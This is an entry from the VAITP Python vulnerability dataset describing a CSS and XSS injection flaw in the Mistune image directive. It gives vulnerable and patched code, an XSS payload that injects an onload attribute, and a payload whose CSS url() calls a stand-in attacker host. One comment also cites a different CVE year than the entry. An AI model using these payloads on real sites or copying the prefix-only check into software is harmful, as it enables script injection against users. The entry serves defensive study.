VAITP Dataset

← Back to the dataset

CVE-2026-44899

Mistune Image directive allows CSS injection via width/height options.

  • CVSS 6.1
  • CWE-79
  • Input Validation and Sanitization
  • Remote

Mistune is a Python Markdown parser with renderers and plugins. Prior to 3.2.1, the Image directive plugin validates the :width: and :height: options with a regex compiled as _num_re = re.compile(r"^\d+(?:\.\d*)?"). When the validated value is not a plain integer, render_block_image() inserts it directly into a style="width:…;" or style="height:…;" attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the style= attribute verbatim and without escaping. This vulnerability is fixed in 3.2.1.

CVSS base score
6.1
Published
2026-05-26
OWASP
A03 Injection
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Cross-Site Scripting (XSS)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Mistune
Fixed by upgrading
Yes

Solution

Upgrade Mistune to version 3.2.1 or later.

Vulnerable code sample

import re
import html

# Represents the vulnerable regex from Mistune < 3.2.1
# It incorrectly validates by only checking if the string STARTS with a number.
_num_re = re.compile(r"^\d+(?:\.\d*)?")

def vulnerable_render_image(src, alt="", width=None, height=None):
    """
    This function is a minimal representation of the vulnerable logic in
    mistune.directives.image.Image.render_block_image before it was patched.
    """
    attrs = {'src': html.escape(src), 'alt': html.escape(alt)}
    style = []

    # Vulnerable check for the 'width' parameter
    if width and _num_re.match(width):
        # The flaw: The un-sanitized 'width' string is concatenated directly
        # into the style attribute because the regex only checked the prefix.
        style.append('width: ' + width + ';')

    # Vulnerable check for the 'height' parameter
    if height and _num_re.match(height):
        style.append('height: ' + height + ';')

    if style:
        # The concatenated style string is added to the attributes.
        attrs['style'] = ' '.join(style)

    # Construct the final HTML tag string
    attr_str = " ".join(f'{k}="{v}"' for k, v in attrs.items())
    return f'<img {attr_str}>'

# --- Demonstration of the Vulnerability ---

# This malicious payload starts with "42", which passes the flawed regex.
# It then injects CSS to close the style attribute and add a new
# 'onload' attribute to execute JavaScript, achieving an XSS attack.
malicious_payload = "42px;\" onload=\"alert('XSS via CVE-2026-44899')\" foo=\""

# Call the vulnerable function with the malicious payload.
generated_html = vulnerable_render_image("image.png", "test", width=malicious_payload)

# The output shows the injected 'onload' attribute in the generated HTML.
print(generated_html)

# Expected output:
# <img src="image.png" alt="test" style="width: 42px;" onload="alert('XSS via CVE-2026-44899')" foo=";">

Patched code sample

import re
import html

# This code demonstrates the fix for the vulnerability (correctly identified as
# CVE-2023-44899). The vulnerability was caused by a regex that only checked
# if a string *started* with a number, not if the *entire string* was a number.

# The fix involves changing the regex to anchor it to the end of the string
# with '$'. This ensures the entire value is validated, preventing the injection
# of arbitrary CSS.
_FIXED_NUM_RE = re.compile(r"^\d+(?:\.\d*)?$")


def render_image_with_fixed_validation(alt: str, src: str, width: str = None) -> str:
    """
    Simulates rendering an image tag using the patched validation logic from
    mistune version 3.2.1. It will only apply the 'width' if it strictly
    matches the numerical pattern, thus preventing CSS injection.
    """
    style_str = ""

    # The 'if' condition below represents the core of the security fix.
    # It uses the corrected regex to validate the entire 'width' string.
    if width and _FIXED_NUM_RE.match(width):
        # The value is now confirmed to be a simple number, so it is safe.
        # The actual patch also correctly appends 'px' to form valid CSS.
        style_str = f'style="width: {width}px;"'

    safe_alt = html.escape(alt, quote=True)
    safe_src = html.escape(src, quote=True)

    # Construct the final tag, only including the style attribute if it was generated.
    return f'<img src="{safe_src}" alt="{safe_alt}"{f" {style_str}" if style_str else ""}>'


if __name__ == '__main__':
    # --- DEMONSTRATION ---

    # 1. A valid, non-malicious width value.
    valid_width = "150"
    print("--- Using a valid width ---")
    print(f"Input width: '{valid_width}'")
    print("Resulting HTML (Correct):")
    print(render_image_with_fixed_validation(
        "A test image", "image.jpg", valid_width
    ))
    print("-" * 40)

    # 2. A malicious string that the vulnerable regex would have accepted.
    #    The old regex would match "100" and let the rest of the string pass.
    malicious_width = "100; background: red; /*"
    print("--- Using a malicious width ---")
    print(f"Input width: '{malicious_width}'")
    print("Resulting HTML (Securely Handled):")
    # The fixed code rejects this input, and no style attribute is added.
    print(render_image_with_fixed_validation(
        "An evil image", "evil.jpg", malicious_width
    ))

Payload

.. image:: /image.png
   :width: 1px; background-image: url(https://attacker.example.com/xss);

Cite this entry

@misc{vaitp:cve202644899,
  title        = {{Mistune Image directive allows CSS injection via width/height options.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-44899},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-44899/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::